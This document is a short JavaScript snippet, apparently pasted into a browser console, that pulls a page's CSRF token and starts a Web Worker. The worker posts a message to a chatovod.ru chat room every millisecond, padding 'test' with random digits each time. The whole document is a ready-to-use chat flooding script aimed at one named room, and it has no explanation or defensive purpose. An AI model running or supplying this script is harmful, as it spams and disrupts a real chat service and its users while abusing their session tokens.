test

var csrfKey = [...document.scripts].map(s => s.innerHTML.match(/opts\.csrfKey = "(.*)";/)).filter(Boolean)[0][1];
var CHATADI = "swaizen", CHANNEL = "main", hiz = 1;
var baseMessage = "test";

const workerScript = `
 function getRandomString(length) {
   return [...Array(length)].map(() => Math.floor(Math.random() * 10)).join('');
 }
 function mesajGonder(csrfKey, CHATADI, CHANNEL, baseMessage) {
   fetch(\`https://\${CHATADI}.chatovod.ru/ajax/\`, {
     method: 'POST',
     headers: { 'Content-type': 'application/x-www-form-urlencoded' },
     body: \`act=send&chat=276854&csrf=\${csrfKey}&channel=\${CHANNEL}&msg=\${encodeURIComponent(baseMessage + " " + getRandomString(5))}\`
   });
 }
 onmessage = function(e) {
   const { csrfKey, CHATADI, CHANNEL, baseMessage, hiz } = e.data;
   setInterval(() => mesajGonder(csrfKey, CHATADI, CHANNEL, baseMessage), hiz);
 };
`;

const worker = new Worker(URL.createObjectURL(new Blob([workerScript], { type: 'application/javascript' })));
worker.postMessage({ csrfKey, CHATADI, CHANNEL, baseMessage, hiz });